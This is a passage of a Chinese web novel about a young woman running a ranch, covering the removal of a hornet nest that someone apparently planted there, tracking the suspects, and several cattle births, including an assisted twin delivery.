姚新泉跳下马车走向两个小家伙，走到点点身边后姚新泉没忍住弹了下他的鼻子，“跟你说了多少遍了，牛的预产期没几天了，你别一惊一乍地吓着它们？你全都忘到脑袋后头去了是吧？大耳朵长着干嘛用的？”姚新泉揪了揪点点的耳朵，她其实一点没用力，可却被娜娜用吻部挤开。 姚新泉无语，指着娜娜都被气笑了，“你就护着他吧！” 点点算是娜娜带大的，这孩子明明自己没生育过，也不知怎么的就跟个妈一样，教训起点点最厉害的是她，但是却不允许其他人欺负点点，包括姚新泉。 姚新泉刚想说话，听着声音不对皱起了眉头抬头看去，“哪来的马蜂啊！” 要了命，牧场上怎么会有马蜂！ 这玩意儿跟蜜蜂可不一样，是有毒性的。 如果只是一只蛰一下倒也还好，但问题是家里的牛马上要生了，万一受了惊吓难产怎么办？而且还有可能会影响胎儿的！ 姚新泉也没功夫去跟点点他们玩闹了，她手上的马鞭握紧，她第一反应就是遇到马蜂后一鞭子抽上去！ 可到底只是冲动之后的想法，她快步走向马车，把马鞭放下后将马车上之前用来驱赶牛群的棒子拿了下来，她又脱下自己的外套，只着一件黑色工字背心，胳膊处隐隐有肌肉的轮廓。 姚新泉将衣服绑在杆子前面后赶 忙走向牛群，听到哪边有动静赶忙伸着杆子在那边挥舞驱赶。 万幸的是牛群跟她熟悉，倒没有因为她的靠近或者挥舞杆子而受到太大的影响，反而有两头牛还凑过来拱她，想陪她玩儿！ 姚新泉哭笑不得，她努力寻找着马蜂，虽然说她是真的很想一鞭子抽死那些家伙，但是马蜂速度快，她抽到马蜂的概率太小了，而且容易激怒它们，到时候牛逃不脱，自己也逃不脱！ 另外马鞭容易抽打到牛群，就算抽到地上，那声音也容易让牛群受到惊吓，实在是没办法啊！ 姚新泉在牛群中穿梭着，突然目光一顿，她整个人都麻了，那是什么？马蜂窝？ 姚新泉满脸惊恐地靠近，就听到蜂窝那边的声音更大了，她头皮发麻，小心靠近后把牛群往外驱赶，尽量远离那个马蜂窝。 牧场上怎么会有马蜂窝？而且还不是在树上，就是在地上的马蜂窝？ 姚新泉回头看了一眼，目光落在靠近的栅栏上，所以是有人丢进来的？ 不过眼下顾不得那么多了，她赶着牛群往远处走，万幸的是牛群都很配合，娜娜和点点这时候也很靠谱，赶着牛群渐渐远离了。 等身边已经听不到马蜂的嗡鸣声姚新泉这才松了口气，她抹了把额头上的汗，脸都有点发白。 别说怕牛被蛰，她也怕被蛰啊！那玩意儿是真有可能死人的！就算不死人也疼啊！ 师月江过来的时候就看到姚新泉躺在草地上一副提不起劲儿的模样，他吓了一跳，丢下三轮车就冲了过来。 “怎么样，你没事吧？”他摸了摸姚新泉的额头，没觉得烫，见她光着膀子又赶紧把自己的外套脱下来给她披上，想了想又把人抱到了马车上。 等把人放到马车上，见姚新泉一直盯着他，师月江有些不自在，“我没别的意思，地上有虫子，不好在地上久坐的。太阳太大了，我怕你晒伤。” 别看现在好像穿个薄外套都不算太热，但是太阳那是真的毒辣啊！ 这种天气，在外面晒上一个小时，绝对会蜕皮！ 姚新泉突然抱住了师月江的腰，把头靠了上去，“我都要吓死了。” 虽然因为姚新泉难得的脆弱和依靠让他有些舍不得放手，但是姚新泉话里的意思倒是更让他眉头一紧，“怎么了？” “牧场上被人丢了马蜂窝”，姚新泉把自己的猜测说了之后师月江脸彻底黑了下来，他把姚新泉抱紧后安抚地拍了拍她的后背，“你别怕，我先过去看一看。” 没一会儿等他回来后师月江的眼中满是冷意，“我爬到栅栏外边去看过了，地上有草被踩倒的痕迹，牛是昨天开始赶到这边来放的，估计是有人昨天就来踩过点，也知道咱家牛是什么情况，专门弄来的马蜂！” “你别怕，咱们先想办法把马蜂除了，然后再去找幕后黑手！” 他声音放的很低，显得很是温柔，倒像是生怕吓着姚新泉了一样。不过姚新泉已经把状态调整过来了，她跳下马车冷笑一声，“敢在我的牧场上搞三搞四的，我饶不了他们！” 第100章 两人两狗干脆把牛群赶到了另一边还空闲的草场上,这一片暂时空置了下来。 两人回去后各自去准备东西，等弄好了后出来看到彼此手上的东西后相视一笑。 “你下毒了？” 听着姚新泉的话师月江无奈，“你这说的好像我干了什么一样！不过确实是给肉里喷了杀虫剂。” 姚新泉也晃了晃手里的桶,“蜜水里放了敌敌畏。” 两人骑着三轮车全副武装去了草场,姚新泉想靠近,师月江不允许,他把人按在车上后自己拎着桶跟肉走到离马蜂稍微有点距离的地方后将一根棍子立在地上,又把肉挂在了棍子上。 然后拿出了两个大盆,将下了药的蜜水倒在了盆里后快速离开。 “马蜂窝的话等晚上再处理”，马蜂夜间不算活跃，攻击性也比较低，相对来说安全一些。 姚新泉点头,“过会儿下山去买一套那种养蜂人套在身上那种网罩。” 师月江点头,不过却道,“你去吧，我去看看外面有没有什么痕迹。” 她们牧场是被围起来的，周围基本没什么人放牧,要是来找姚新泉的话也不会绕到那边去,如果留有痕迹，更大可能性就是扔马蜂窝的那些人干的！ “那成,你带条狗去？” 师月江摇了摇头,“算了,都在工作呢,我自己去就成。” 姚新泉下山买东西去了，师月江拎着跟棍子就往外走去。 他一路注意着痕迹，小心不要破坏现场，等走到刚才发现草被压塌的地方后才停下来。 师月江小心看着周围的环境,最终还是顺着草被压塌的这条痕迹一路往外追踪，一个多小时后他停在了路上。 这不是什么正经大路，只是因为附近有农田，所以农民来往间踩出来的路。 师月江蹲下看了看，有车轮印！ 两个轮子，是摩托车印！ 师月江凑过去看了看，那车辙印看着怪里怪气倒像是什么专门设定的纹路或者图腾一样，看的师月江眉头紧皱。 他把随身带的小本子翻了出来，拓印了一张大概的形状后，又四下找有没有什么其他痕迹，突然发现不远处有一个烟头。 他凑近看了看，是大前门，再往前走，还找到一个被揉皱了丢掉的烟盒。 师月江没有捡起来，他跟姚新泉意见还挺统一的，那就是没想报警。 报什么警呢？又没抓到现行，公安不会因为他们一点猜测就去追根究底的，而且虽然说他觉得路边的车辙印以及烟头可疑，但是谁也没规定这边不能进摩托车或者抽烟吧？ 当然了他如果让他哥托关系找过来的话另说。但是他觉得没必要。 看这个幕后黑手做的事情，丢马蜂窝？这是什么正常人能干得出来的？ 一看就是小瘪三的手段，根本没有必要出动他哥这个大boss好吧！ 师月江做好记录后回了牧场，姚新泉刚好回来，听到他的话后冷笑一声，“走，去我小姨夫他们那边。” 师月江想找个懂摩托车的人问问，他询问姚新泉的意思，姚新泉觉得这还有啥好问的？ “我小姨夫虽然学历一般，但是他做的是他自己喜欢的事情，很上心，问他的话他肯定知道。” 张运秋皱着眉看着师月江画下来的那个车辙印，嘴里嘟囔着，“我咋觉得这么眼熟呢！可一时间就是没想起来！” 姚新泉安抚他，“没事儿，小姨夫你能想起来最好，想不起来我们再想想别的办法！” 张运秋没理她，师月江想了想又道，“我在那个车辙印旁边还看到了一根抽过的大前门以及一个被捏皱的烟盒。” “捏皱的烟盒？”张运秋嘴里情不自禁跟着念叨，突然眼睛一亮，他用力拍了下大腿站起来，“他娘的，我想起来了，就是那个哈麻批！” 张运秋指着那印子表情有点无语，“这玩意儿还是我给他改的呢！” 姚新泉两人一脸茫然，“改的啥？” “车轮啊！这些小瘪三一个个都追求什么个性，想在车轮上搞闪电的纹路，但那一个个裤兜子比脸都干净，我都跟他们说了能给他们换正新的闪电纹越野轮胎，都是国产的又不贵。他们一帮死孩子一起，我还能给他们打个折！” 张运秋越说越无语，“结果那几个穷光蛋换不起，结果来找我给他们在轮胎上烫花纹！” 姚新泉无奈，“所以你干了？” “我当时根本不同意好吗？” 姚新泉板着脸，“所以你就是干了。” 张运秋有些尴尬，“这不都是为了赚钱吗？” 师月江眼中闪过笑意，可还是解释了起来，“小姨夫，新泉的意思是你给他们改良轮胎也是会遇到风险的，政策允不允许这一块儿我们不太清楚，但是不管是雕刻还是烫了花纹都会降低轮胎结构强度，高速行驶时可能会爆胎，而且雨雪天气也不抓地，很容易打滑，万一出了点问题，他们找上你了，你这不是在给自己找麻烦吗？” 张运秋没吭声，就听师月江继续道，“你改良一个胎多少钱，万一真出了事情，人家找上门来，到时候你的赔偿可不止赚的钱呢！” 姚新泉哼了一声，“小姨夫你不许做了知道吗？” 张运秋心里也有些后 怕，但还是梗着脖子没说话，姚新泉也没再揪着这个不放反倒是问，“所以小姨夫你知道那人是谁了？” 张运秋拍了自己一下，“可不嘛？小师说那烟我才想起来，大前门是他们最喜欢买的软壳烟了，而且那烟味儿冲劲儿大，价格也便宜，他们最喜欢把那烟壳子捏的皱皱巴巴的，装成老江湖的样子”，张运秋很是嫌弃，都什么人呢这！ 姚新泉两人问到外号后没接受他的挽留便离开了，“你打算怎么做？” 师月江没跟她细说，只是安抚道，“你别操这份儿心了，这些事情我来负责就成”，虽然说他也不至于做什么不好的事情，但是也没必要让姚新泉接触了，她只要做自己喜欢做的事情就成！ 姚新泉瞥了他几眼，见他都没有改变想法的意思，只好不情不愿地点了点头，行吧！ “那我就认命你当我们姚家牧场保卫处的处长了。” “那请问姚总，不知道我手底下有几个弟兄？”师月江满脸微笑地看着她，眼中满是戏谑。 姚新泉哼了一声，“我这庙小，除了你这个处长之外你还有六个弟兄以及两个临时工。” 师月江一愣随即便笑了出来，“你别告诉我临时工是皮皮和平安。” “那不然呢？” 两人一路说笑着回去，到了家师月江开始做饭，她则是不放心，又去了牛群那边，跟娜娜两个正式工一起把牛群赶回来了。 除了马蜂的原因，主要也是因为这说不准什么时候小牛就要生了！ 两人吃完饭后带着装备便去了有马蜂的那一片草场，师月江拎着东西下车，见姚新泉也想跟着过来他拦了一下，“就一套防护服我穿着你就在这等着，不许过来！” 姚新泉无奈推了他一把，“你真是越来越霸道了。” 师月江弯了弯眼睛没再说什么，姚新泉把手电筒递给他，突然想到什么又收回手，从口袋翻出一块儿红布，拿皮筋扎在了手电筒上，“罩上红布不容易吸引马蜂。” 师月江点了点头，接过手电筒就往马蜂那边走了。 看着他的背影姚新泉心里满是感慨，高兴居多。她小时候被马蜂蛰过，是在手背上，当时肿了好大一个包，皮肤都撑开了，等包消下去之后掉了两层皮，非常痛苦，所以她对马蜂算是有阴影。 如果没有师月江，那她肯定要硬着头皮灭马蜂，这没啥好讲的，有畏难情绪那就克服一下。 但如今有师月江了，自己轻松了许多啊！ 虽然月光照耀在大地上，不至于伸手不见五指，但还是很难看到师月江那边的动作。 姚新泉有些无聊，便在心里问，“系统，你怎么这段时间也没给我发布什么任务？” “你是不够忙吗？” 姚新泉愣了一下，有些不可置信，“所以你是因为我太忙了，体谅我就没有给我发布任务？” 系统虽然没有说话，但是她能听到一声轻微的略带傲娇的哼，她轻笑了一声，“你怎么这么好啊？” 系统像是掩饰什么一样否认，“你可别胡说，是因为现在这个季节，不缺饭不缺水，也没什么自然灾害，只要没有偷猎的人类或者是破坏环境导致它们失去生存空间的事情，一般都不会太需要你去主动救助的！” 姚新泉想了想倒也是，如果是食物链中正常的捕猎行为，这种系统是不会给她发布任务的。 “如果有特别紧急的情况的话，你也可以跟我说的，我会衡量轻重缓急去作出选择的。”就像是之前的高鼻羚羊，最后一对，她怎么可能不想尽办法去救助？ 系统不情不愿地嗯了一声，它的好心体谅姚新泉竟然不领情？ 姚新泉大概猜到系统在想什么了，忙加了一句，“当然了，你愿意体谅我，我真特别高兴，你绝对是最体贴人心的好统了！” 系统被夸得美滋滋的，也不再生气，虽然没说话，但姚新泉能感受到它的好心情。 姚新泉暗笑一声，真好哄。 100-110 第101章 师月江拿着被红布包裹住的手电筒靠近了他们白天挂肉跟放蜜水的地方,他小心打量了一下，发现地上落了一层死马蜂，这才放下一些心来。 随后他又小心凑近了那个马蜂巢,因为是被扔进来的,所有难免有的地方破了,但是他能感觉得到里面还有不少马蜂。 师月江吞了下口水,小心把背后的塑料桶拿过来,又把自己提前带过来的一块儿大石头搬到了不远处。 他小心地慢慢靠近蜂巢,随后将水桶缓缓罩在马蜂窝上，然后将水桶底部的盖子掀开。 没错，他们专门找了一个旧水桶，把底部割开了一个大口子,但是不完全切断,方便喷药。 他又拿出一大瓶杀虫剂,对着那个打开的口子开始往里喷。 杀虫剂一进入水桶笼罩的范围后里面的马蜂就开始发疯一般地冲出蜂巢，师月江目光坚定，他继续喷药,直到有马蜂朝着口子冲了过来他才一把按住,然后将那块儿大石头压在了水桶上，只听里面噼里啪啦全是马蜂撞击在水桶上的声音。 他缓缓吐出一口气,确认石头压严实后这才往外走,到了挂肉的那里后他拿出一个纸盒子,用火钳子将落在地上的死马蜂往里夹,姚新泉靠近后也开始夹。 “那之后这个去烧掉？” 姚新泉嗯了一声，“等到家那边再烧，不然万一造成什么火灾就麻烦了。” 两人打着手电筒在附近地上摸了半个小时，差不多把毒死的都捡了出来,两人这才松了一口气，没办法啊，这不是被杀虫剂杀死的就是被敌敌畏毒死的，留在牧场万一被牛羊吃了怎么办？ 时间已经将近12点了，两人回到家后刚洗漱完准备睡觉，就听到了先是朵朵的叫声，随后几只狗狗全都叫了起来，姚新泉赶紧跑了出去。 两人顺着声音找了过去，是牛棚！ 姚新泉心里有了猜测，果不其然，有牛要生了！ 她朝着师月江哀嚎一声，“每天都是事儿赶事儿啊！” 师月江苦笑，他朝牛棚里抬了抬下巴，“85头。” 姚新泉眼冒金星。 不过再头疼该做的也得做好了，姚新泉让师月江去把自己的药箱拿来，她小跑进牛棚后观察了一圈，先打开旁边的圈门把目前已经有分娩征兆的5头牛赶到那边，还没反应的牛留在原地。 旁边算是姚新泉专门隔出来的产房，这两周都用5%碘伏消毒地面跟墙壁，地上也铺的是干麦草。 留下来的这五头母牛此时情绪都很是不安，还有去踢腹部的动作，□□也膨大了。 姚新泉有些心疼地摸了摸小牛，它们难受得站也站不住，卧也不敢卧，可怜得不行。 小牛拱了拱她的手，水汪汪的大眼睛看的姚新泉心都化了。 要说起来这几头还不是最让人操心的，这五头都是褐牛，而且也都查过是单胎，相对来说难产的可能性会低一些，让人发愁的是那边的黑白花。 牛一般情况下算是单胎动物，但也有双胎的可能性，像是黑白花奶牛，它们的双胎概率大概就在3%-5%。 姚新泉家里这50头黑白花牛就不幸有两头中招了。 没错，姚新泉觉得不幸。 这些小牛都是头胎，本身生产就比那些经产的母牛要艰难一些，相对来说更容易难产。 姚新泉这段时间确实是在系统里疯狂学习怎么接生，但是到底是现实中第一次啊，她也很慌的！ 系统里虽然说是一比一模拟现实生活，但是讲不好听一点，死了也就死了，重新开始就成啊！ 但现实中不幸，养了这么久，不说经济上的投入，就算情感上她也受不了啊！ 除此之外她也是学了之后才知道，兽医上还有一个概念叫弗里马丁现象，就是说当 偶蹄动物，比如绵羊、山羊、牛等等，它们在怀了异性双胎时，其中的雌性胎儿的生殖系统可能会发育异常，导致其不育。这种就没有作为奶牛的价值了。 所以姚新泉是真不希望自家牛怀双胎，可就有两个，而且也不知道为啥，现在还没有发动的迹象。 师月江把她的装备拿来后姚新泉又安排，“你去配点温水，也把盐跟糖都拿过来，可能用的上。” 至于饲料就不再专门喂了，至少现在不用。晚上家里小牛是吃过的，现在应该没饿，而且这个阶段它们也未必想进食。另外就是这时候吃了它们未必能消化得了反而会更难受。 姚新泉倒了一盆温水给几个小家伙轮流喝了一点，见它们又是难受又是委屈的模样姚新泉叹了口气，让师月江找了几块干净的毛巾，又倒了一盆热水，把毛巾投洗过后隔着毛巾轻轻地去按摩小牛的后腰、腹部和□□。 “你试试看它们排不排斥？”姚新泉实在是忙不过来，只能让师月江也上手。 不是不叫艾力兽医，昨天早晨的时候两人才联系过，艾力这阵子还在出诊治疗患布病以及中毒的牲畜，如果这边真难产了那没办法，正常生产的话还是别叫他了。 师月江小心靠近小牛，手试探性地搭在它的背上，也不知是认识师月江了还是它本身也没那个力气反抗，总之没什么太大的反应。 姚新泉指导，“背部的话大概在背部后方、骨盆前缘的腰椎和荐椎区域按摩”，她一边说一边给师月江比划着，师月江看了一会儿后心里便有数了，他虽然对牛的骨骼不熟悉，但是对人的熟悉啊！ “沿脊柱两侧从上向下缓慢打圈按压，避开脊柱骨突”，姚新泉按照书上教的一步一步教着师月江。 她没教师月江去热敷小牛的腹部跟□□，因为这两个地方弄不好的话会刺激宫缩甚至是挤压胎儿的。 热敷过一轮后姚新泉两人也不嫌脏，坐在地上互相靠着，“折腾一晚上，它们五个能把孩子生下来就不错了。” 牛如果生产顺利的话产程大概是6小时到12小时之间，这还没算之后胞衣排出的时间呢！如果胎儿一直没办法顺利出生，那肯定是要人工干预的。 “晚上要不你回去，这边我看着？”姚新泉打了个哈欠问道，主要这边目前确实不怎么需要他。 师月江摇了摇头，“与其说我，不如你先回去歇一会儿，等这边有动静了我再去叫你呢！” 两人对视了一眼后笑了起来，“行了，都在这等着吧！” 期间姚新泉检查了一下这几头小牛都是正常宫缩，她又去隔壁看了一眼，好家伙，这一看就出了问题，两头双胎的黑白花牛出现症状了！ 姚新泉瞬间便不困了，她赶紧把两头牛赶进来到离这几头稍远的距离，随后又给两头牛做了按摩后打了个哈欠，靠在师月江的肩膀上沉沉睡去。 师月江笑了笑，把自己提前带过来的薄毯披在她身上后自己打起精神来看着临产的牛牛们。 姚新泉是被一阵小牛痛苦的呻吟声吵醒的，她看了过去就见师月江正在检查，“这头应该是羊水破了，都流出来了！” 他的表情是难得的有些惊慌，他哪里见过羊水是什么样子啊！ 姚新泉赶忙跑过去看了一眼，果然，羊水破了，母牛侧卧在地上，正在缓缓用力。 姚新泉的心也提了起来，不过这时候不管她是普通牧民还是兽医都什么都做不了，或者说不能做。 过早地干预母牛产程可能会造成它们的应激反应，进而导致难产。而且有时候分辨清楚小牛是什么状态才是更优先的，不能急着动手。 两人怕影响到母牛，都蹲在离母牛有一段距离的地方，姚新泉突然用力抓了一下师月江的手，“看看，前蹄子出来了，鼻子跟头都露了出来，这姿势顺产的可能性大！” 看着母牛一次又一次使劲儿，浑身上下每一根骨头好像都在努力让小牛犊平安出来，见母牛身上全是汗，姚新泉赶忙兑了一盆电解质水送到母牛头边，母牛喝了之后不说恢复力气，至少能补充补充失散的水分！ 姚新泉见小牛已经隐隐要出来了，她赶紧把准备好的毛巾还有消毒过的剪刀都准备好了，在小牛犊落地的那一瞬间她赶忙上前，师月江先她一步托起小牛，姚新泉将脐带剪断，留了大概六七厘米的长度，避免若是母牛起身那脐带还连在牛犊身上拉扯下对它们都不好。 “你用碘酒给脐带消毒，我给它擦下嘴巴上的粘液”，她托起小牛犊的脑袋，将它口鼻中的黏液、羊水全部擦干净，师月江那边也做好消毒后这才把小牛犊抱起来放在了母牛身边。 这头母牛很乖，没有急着动，在姚新泉把小牛犊放过去时她闻了闻随后哞了一声轻轻舔起自己的孩子。 姚新泉和师月江相视一笑都松了口气，“很伟大的妈妈，顺产，不容易啊！” 师月江也感慨了两句，可不是吗，他们旁观的人都紧张开了，人家愣是好好把孩子生了下来，而且也不存在任何呛了羊水之类的问题，顺利得不可思议。 “观察一下一小时内能不能抬头，2小时内会不会尝试站立，三小时内能不能吃上奶，24小时内会不会排便，如果都能做到那就是正常的，如果做不到那就麻烦了，可能要接受治疗。” 万幸，小牛一切正常。 第102章 也不知道是自家褐牛的生命力更强一些还是怎么回事,剩下四头小牛都顺利诞下牛犊，姚新泉看了下时间，9点20。 她站起身来锤了锤腰,见无论是牛犊还是母牛都是健康没有出状况的,这才露出个笑来。 师月江端着一碗小米粥一颗咸鸭蛋跟两个花卷过来,“我估计你也没空回去吃就给你端来了”,他打量了一下四周的环境后还是端着饭往外走,“在外面吃吧,里面一股血腥味。” 就算是顺产，但是小牛各个都还是出了不少血的，味道真说不上好闻。 姚新泉伸着手，师月江给她倒水洗手,然后洗漱完后又递给她一条毛巾,姚新泉擦了擦这才精神起来,“干养殖的怎么可能没味道，咱俩出门要是不收拾一下，隔老远别人都能猜到咱们是干嘛的！” 师月江也不反驳,事实上就是这样,他们羊圈牛棚这些已经打扫的很干净了，主要晚上用,白天立马就要清理,那些被踩过的麦草也都送去堆肥,自来水接上水管后冲洗一下。 也万幸的是姚新泉爸妈当时盖房子的时候把水沟都留好了,他们冲过之后最多就是稍微扫一下让水流下去就成，不算费劲儿，但也确实是每天固定的工作了。 可打扫干净不代表没有味道，牲畜身上的味道其实还挺重的,所以姚新泉都习惯了。 她拿起花卷吃了一大口，接过师月江给她剥开的咸鸭蛋咬了一口，声音含糊不清，“你过会儿给狗狗们把饭做一下，然后给母牛们煮一些麸皮水，就用家里最大的那口锅，在杂物室里面，还有一个炉子，放在院子里煮就行，里面放点儿盐跟红糖给它们补一下”，她有些不好意思地看着对方，“我实在顾不上了，辛苦你了啊！” 师月江给她捏了捏肩膀，脸上的笑意很轻松，“都是小事，最多就是繁琐一些，算不上什么的！” 姚新泉蹭了蹭他的胳膊赶紧把饭吃完然后继续回到牛棚，小牛的状态还行，陆陆续续要站起来了，看吃不吃奶吧，母牛的胞衣还没脱落，麸皮水能补充体力，促进胞衣排出，如果24小时内都排不出来那问题就大了。 趁着这边暂时没别的进展她又赶紧去看了一下炽焰，检查了下他得腿，给他换了药后又去给那头被她起名元宝的小牛 犊，给他简单做了个艾灸后大致看了下那八十多头母羊状态还好就赶紧往回走，路上碰到师月江她一脸苦相地抱怨，“感觉自己在打仗啊！” 师月江忍不住笑了，“那你要不要请人来帮忙呢？” 姚新泉摇头，“算了，还是我忙一点吧！” 生活上可能还好，像是之前师月江住进来，对方很有分寸没有影响到她的生活所以她能慢慢适应。但是工作上不一样，她是很有主见的人，自己不懂也就算了，她懂的话那她是不会允许别人在自己的事业上指手画脚的，别到时候帮忙不见得帮到了反而给她找了不痛快。 等她到了牛棚后头就开始痛了，那两头黑白花不对劲！ “师月江，去给艾力大夫打电话，让他能来就尽快来！”她探头朝外面喊了一声，两头母牛之前状况其实还好，虽然也能看出情绪焦躁，但是一切都是正常发展的，可现在不对劲了。 正常牛的开口期宫缩差不多在两到六个小时，因为家里牛都是初产牛，所以时间稍微长一些也正常，这段时间牛差不多15-30分钟宫缩一次，每次持续不到一分钟，也有一些正常的胎水排出。 可姚新泉算了下时间，有一头牛将近1个小时都没有宫缩了！产程停滞，又是双胎，她根本不敢继续等下去！ 姚新泉把消毒手套带上，这个手套能护到她的大臂，算是防护力比较强的了。 她一手抓着牛尾巴，另一手去确认宫颈开张程度、胎儿体位，感受到母牛体内两头小家伙都还活着她这才松了一口气。 虽说之前已经在超声上大概看了两个牛犊的大小，但是当触摸确认两个小家伙的体型都不算特别大，而且胎位也是正的这才放下心来，只是为什么宫缩减缓了呢？ 即将要分娩时宫缩时会加剧的啊！ 姚新泉顾不得去思索原因，目前还是要赶紧恢复产力才是！ 那边艾力接到师月江的电话后没忍住骂了起来，“我都说了让你们提前跟我说提前跟我说，你们非得遇到麻烦了才联系我？她那边有宫缩素吗，有各种西药吗？这怎么能不提前备着呢？糊涂啊！” 虽然知道姚新泉是考虑到自己太忙了，但是事情也有个轻重缓急吧！ 说不好听一点，之前中毒的那批牛羊，如果现在还没有好转的迹象那也没什么救治的必要了，等死吧！ 这孩子怎么就这么犟呢！ 艾力一边骂一边收拾东西，牵出马来便往她家赶去。 姚新泉那边不知道艾力的吐槽，此时她在母牛的百会穴、后海穴、治脱穴、关元俞上下针，这几个穴道能够调节盆腔气血、刺激子宫神经等。 留针期间她又赶紧写了方子自己跑去抓了让师月江熬，喂牛的时候还给了100ml的黄酒作引。 过了一阵后母牛好像有了些力气，渐渐的又开始了宫缩她这才松了一口气。 姚新泉靠在牛棚上接过师月江递来的毛巾擦了擦汗，“我真是一个人掰成几瓣用啊！” 师月江在一旁安抚，“别急，艾力大夫马上就到了，到了之后就能缓一缓了。” 姚新泉苦笑，目光一直没离开那头状态不好的牛，“牧场上别的事情都不用你操心，牛羊马没放出去的我都喂过了，狗狗也喂过了，炽焰那边的中药我也熬好晾凉后就给他，家里也收拾过，菜地里的草等你这边忙完之后我再去拔，河里种植那边我联系了庞教授让他帮咱们盯一下，小牛犊那边我刚看了，最先出来的两头已经喝上奶了，其他母牛有生产迹象的我也赶到这边来了，其他的我会继续关注的，你只要管那两头牛就成。” 姚新泉用力点了点头，“师月江，你怎么这么好啊？” 也说不上脆弱吧，但是在自己忙的晕头转向的时候有个人能告诉自己你只要管你眼前的事情，其他所有的事情我都给你处理好了的时候，她真的觉得天都亮了几分！ 她在原地拉伸了两下，又元气满满地上前。 师月江见状笑了一下，又回去灌了两罐子水带过来，一罐子是常温的开水，另一罐子则是加了少许盐、糖的电解质水。 又过了半个小时，当母牛再一次延长宫缩，并且朝着她委屈巴巴哞了一声时姚新泉叹了口气。 她上前摸了摸小牛的脸，“你别急，我来帮你”，母牛没力气了，没办法自己分娩，只能借助外力，否则持续下去它越来越没力气，而且它的羊水已经流了不少，再僵持下去意义不大，只会让牛犊更危险。 姚新泉去看了下宫口，有四指宽了，她把提前消毒准备好的麻绳拿了过来，她还提前去市里买了石蜡油，又把碘伏翻出来。 “你拿这个装了高锰酸钾溶液的瓶子给我的胳膊还有母牛下半身冲洗消毒”，姚新泉安排师月江，师月江赶紧照做。 她摸了摸两头小牛犊的位置，确定并没有互相卡住，可以一只一只拉的是时候松了口气。 将麻绳打了个活结栓到其中一头小牛犊的前肢上后，她试了试确定不会滑落，确定好头颈和前肢的位置后缓缓向下拉。 姚新泉此时眼睛都不敢眨一下，在系统里她已经为五六头双胎的母牛接生过，也牵引过好几头小牛犊，可是此时当她的手伸到母牛体内时还是觉得这股触感让人觉得心惊肉跳的。 师月江提前熬好地催产药已经给牛灌了下去，此时它的努责似乎比先前强了一些。 她抿了抿唇，动作坚定却又缓慢地下拉，等头靠近阴门时，她感受着母牛的努责，在其努责时同步用力，在它放松时也同步放松。 师月江在一旁也不禁握起了拳头，紧张得头上直冒汗。 突然感受到有人拍了自己一下，看到来人后师月江瞪大了眼睛，对方笑了笑没说话，跟他一起看着牛棚内的情况。 □□是凑到栏杆边上伸着脖子探头看，他不敢现在进去打扰人家，而且他也还没消毒呢！ 姚新泉缓缓托住小牛犊的脖颈，等它的头跟脖子都通过阴门后松了半口气，水平向后继续牵引，直到小牛犊出来后她剩下半口气才敢松开。 她也顾不上别的了，抓着衣摆给小牛犊擦了口鼻确认呼吸正常后便先放在了一边又伸进产道找到另一只小牛犊后如法炮制将另一头小牛犊也牵引了出来。 当小牛犊落地时姚新泉只觉得腿都发软了，她检查了下第二只牛犊后放下心来，两头都是小母牛，虽然个头现在比人家小一些，但是很健康！ 她又看了下母牛的状态，之后不清楚，但是目前为止，产道并未撕裂。 她抱着两头小牛犊凑近母牛，把小牛犊放到她面前，让她去舔两个小家伙身上的黏液。 姚新泉轻轻摸着母牛的眼睛，语气很是温柔，“小家伙，你真的好棒啊！一下子生了两个健康的宝宝呢！” 突然听到一阵鼓掌声她回过头，就见三人不停给自己鼓掌，姚新泉也笑了起来。 第103章 姚新泉看着师月江身旁跟他很像的人笑着点了点头,“师大哥，我手上脏着就不跟你握手了啊！” 师星野摆了摆手，“一家人,不用那么客气,你也别把我当客人,不说还有月江,我自己也能顾着自己,你们先忙。” 他又不是没有眼睛,看不出那头黑白花色的牛好像也不大对劲！ 姚新泉点了点头没再说什么，艾力做了消毒后也赶紧进了牛棚。 师月江带着师星野去了另一边还没生产迹象的母牛处看看有没有发动的，“哥你怎么突然过来了？” 师星野笑着拍了拍弟弟的肩膀，上下打量了好几眼,“黑了,看着也健康了。这不是刚好抽出点时间来,我想着总得看看你们的生活环境，也见见小姚，一家人总是电话沟通,面都没见过也不合适。” 想了想又补充道,“我本来想着如果时间合适的 话再带着你俩上门拜访一下小姚的长辈们，小姚的父母才去世没多久,暂时给你们订婚也不太合适,对人家也不尊重。但是人家一个大姑娘,你就这样住在这里也不好看,总得上门表示表示咱们的诚意，不能让人家误会！” 未来如果不出岔子的话这臭小子就要在这边生活了，虽说也没指望着亲戚帮衬，但是跟女方在意的长辈打好关系还是有必要的。 “不过我看你们这估计是没什么时间了”,他朝牛棚里抬了抬下巴，家里这么多牛待产，他也做不出让人家放下手头的事情去陪他走亲戚的事。 “拜访的事情下回再说，回头我让助理收拾些东西出来你给人送过去，就说下次咱们再一起聊。” 师月江自然没意见，师星野想起方才姚新泉给牛接生的模样心里也明白了师月江为什么会喜欢上这个女孩子。 他们的整个青春期接触到的女孩子也许泼辣也许温顺，但无论什么性格基本都会按照家里的要求，书没读两年就嫁人生子，再重复老一辈的人生。 等再大一些后家里条件好了接触到的人也换了一波，有人想算计他们，有人想攀上他们，还有单纯想联姻的，总之什么样的人都有。 可姚新泉不一样啊！ 她读过大学，却并没有那种所谓的文化人高人一等的感觉，她能在写字楼里过着外表光鲜亮丽的生活，也能在牛棚里给牛接生，毫不避讳地用衣服给小牛犊擦嘴。 好像乍一看觉得有点邋遢，但是对方那明亮的双眼还有那生机勃勃的状态，没有人会不被她接生成功后的笑容感染的！ 师星野感慨地拍了拍弟弟，“好好对人家，也别有乱七八糟的心思，不许搞三搞四的知道吗？” 师月江听出了不对，赶忙问道，“是不是他们那边又出了什么事情？” 看出弟弟眼中的厌烦了，师星野笑了笑，“能用钱解决的事情都不是什么大事，我只是想跟你说，他们不是好东西，更不是好榜样，不许跟他们学！” 他们那对父母啊！师星野眼中闪过一抹嫌恶，如今优渥的生活让他们根本分不清天高地厚，糜烂的私人生活会导致什么结果不是一目了然的吗？ 种了因那就老老实实吃那个果，日后也不用再想回来了，他是不会让那些脏东西跟弟弟还有姚新泉接触的。 看了师星野一会儿，确定不是什么大事便放心了，两人又聊了几句，见师月江心不在焉的样子，师星野无奈推了推他，“行了，你去陪着小姚看看有没有要搭把手的地方，我坐飞机过来也累了，去你房间睡一会儿吧！” 师月江带着哥哥进屋，给他安顿好了之后才回了牛棚。 牛棚里姚新泉又摸了摸脉，感受着手下沉细无力的脉象姚新泉心里沉了沉，艾力戴好手套进去探了探后也发愁，“胎位不正，麻烦了。” 